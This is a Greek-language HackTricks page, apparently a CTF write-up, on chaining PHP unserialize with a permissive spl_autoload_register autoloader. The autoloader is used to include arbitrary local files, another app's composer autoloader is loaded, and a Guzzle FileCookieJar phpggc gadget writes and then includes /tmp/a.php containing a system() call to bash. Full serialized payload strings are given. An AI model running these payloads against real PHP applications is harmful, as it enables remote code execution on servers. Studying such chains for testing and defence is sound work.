PHP - Deserialization + Autoload Classes

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Πρώτα, θα πρέπει να ελέγξετε τι είναι οι Αυτόματες Φόρτωσης Κλάσεων.

Αποσυνεριακοποίηση PHP + spl_autoload_register + LFI/Gadget

Βρισκόμαστε σε μια κατάσταση όπου βρήκαμε μια αποσυνεριακοποίηση PHP σε μια web εφαρμογή χωρίς κάποια ευπάθεια σε βιβλιοθήκες μέσα στο phpggc. Ωστόσο, στον ίδιο container υπήρχε μια διαφορετική web εφαρμογή με ευπάθειες σε βιβλιοθήκες. Συνεπώς, ο στόχος ήταν να φορτώσουμε τον φορτωτή της άλλης web εφαρμογής και να τον καταχραστούμε για να φορτώσουμε ένα gadget που θα εκμεταλλευτεί αυτήν τη βιβλιοθήκη με ένα gadget από την εφαρμογή που είναι ευπάθης στην αποσυνεριακοποίηση.

Βήματα:

  • Έχετε βρει μια αποσυνεριακοποίηση και δεν υπάρχει κανένα gadget στον τρέχοντα κώδικα της εφαρμογής

  • Μπορείτε να καταχραστείτε μια συνάρτηση spl_autoload_register όπως η παρακάτω για να φορτώσετε οποιοδήποτε τοπικό αρχείο με κατάληξη .php

  • Για αυτό χρησιμοποιείτε μια αποσυνεριακοποίηση όπου το όνομα της κλάσης θα βρίσκεται μέσα στη μεταβλητή $name. Δεν μπορείτε να χρησιμοποιήσετε "/" ή "." στο όνομα μιας κλάσης σε ένα αποσυνεριακοποιημένο αντικείμενο, αλλά ο κώδικας αντικαθιστά τις κάτω παύλες ("_") με κάθετους ("/"). Έτσι, ένα όνομα κλάσης όπως tmp_passwd θα μετατραπεί σε /tmp/passwd.php και ο κώδικας θα προσπαθήσει να το φορτώσει. Ένα παράδειγμα gadget θα είναι: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Εάν έχετε μια αποστολή αρχείου και μπορείτε να ανεβάσετε ένα αρχείο με .php επέκταση, μπορείτε να καταχραστείτε απευθείας αυτή τη λειτουργία και να έχετε ήδη RCE.

Στην περίπτωσή μου, δεν είχα κάτι τέτοιο, αλλά υπήρχε μέσα στο ίδιο container μια άλλη ιστοσελίδα του composer με μια ευπάθεια σε ένα phpggc gadget.

  • Για να φορτώσετε αυτήν την άλλη βιβλιοθήκη, πρέπει πρώτα να φορτώσετε τον φορτωτή του composer της άλλης ιστοσελίδας (επειδή ο τρέχων εφαρμογής δεν θα έχει πρόσβαση στις βιβλιοθήκες της άλλης). Γνωρίζοντας τη διαδρομή της εφαρμογής, μπορείτε να το επιτύχετε πολύ εύκολα με: O:28:"www_frontend_vendor_autoload":0:{} (Στην περίπτωσή μου, ο φορτωτής του composer ήταν στο /www/frontend/vendor/autoload.php)

  • Τώρα, μπορείτε να φορτώσετε τον φορτωτή της άλλης εφαρμογής, οπότε είναι καιρός να δημιουργήσετε το phpgcc payload που θα χρησιμοποιήσετε. Στην περίπτωσή μου, χρησιμοποίησα Guzzle/FW1, το οποίο μου επέτρεψε να γράψω οποιοδήποτε αρχείο μέσα στο σύστημα αρχείων.

  • ΣΗΜΕΙΩΣΗ: Το δημιουργημένο gadget δεν λειτουργούσε, για να λειτουργήσει έπρεπε να τροποποιήσω αυτό το payload chain.php του phpggc και να ορίσω όλα τα γνωρίσματα των κλάσεων από ιδιωτικά σε δημόσια. Διαφορετικά, μετά την αποσειριοποίηση του συμβολοσειριακού αντικειμένου, τα γνωρίσματα των δημιουργημένων αντικειμένων δεν είχαν καμία τιμή.

  • Τώρα έχουμε τον τρόπο να φορτώσουμε τον φορτωτή της άλλης εφαρμογής και να έχουμε ένα phpggc payload που λειτουργεί, αλλά πρέπει να κάνουμε αυτό στον ίδιο αίτημα για να φορτωθεί ο φορτωτής όταν χρησιμοποιείται το gadget. Για αυτό, έστειλα έναν σειριοποιημένο πίνακα με τα δύο αντικείμενα όπως:

  • Μπορείτε να δείτε πρώτα τον φορτωτή να φορτώνεται και μετά το payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Τώρα, μπορούμε να δημιουργήσουμε και να γράψουμε ένα αρχείο, ωστόσο, ο χρήστης δεν μπορεί να γράψει σε κανέναν φάκελο μέσα στον διακομιστή ιστού. Έτσι, όπως μπορείτε να δείτε στο payload, το PHP καλεί την system με κάποιο base64 που δημιουργείται στο /tmp/a.php. Στη συνέχεια, μπορούμε να επαναχρησιμοποιήσουμε τον πρώτο τύπο payload που χρησιμοποιήσαμε ως LFI για να φορτώσουμε τον φορτωτή του composer της άλλης webapp για να φορτώσουμε το αρχείο /tmp/a.php που δημιουργήθηκε. Απλά προσθέστε το στο gadget αποσειριοποίησης:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Περίληψη του payload

  • Φόρτωση του composer autoload ενός διαφορετικού webapp στον ίδιο container

  • Φόρτωση ενός phpggc gadget για κατάχρηση μιας βιβλιοθήκης από το άλλο webapp (το αρχικό webapp που είναι ευάλωτο στην αποσειριοποίηση δεν είχε κανένα gadget στις βιβλιοθήκες του)

  • Το gadget θα δημιουργήσει ένα αρχείο με ένα PHP payload σε αυτό στη διαδρομή /tmp/a.php με κακόβουλες εντολές (ο χρήστης του webapp δεν μπορεί να γράψει σε κανέναν φάκελο οποιουδήποτε webapp)

  • Το τελικό μέρος του payload μας θα φορτώσει το δημιουργημένο αρχείο php που θα εκτελέσει εντολές

Χρειάστηκε να καλέσω αυτήν την αποσειριοποίηση δύο φορές. Στις δοκιμές μου, η πρώτη φορά δημιουργήθηκε το αρχείο /tmp/a.php αλλά δεν φορτώθηκε, και η δεύτερη φορά φορτώθηκε σωστά.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated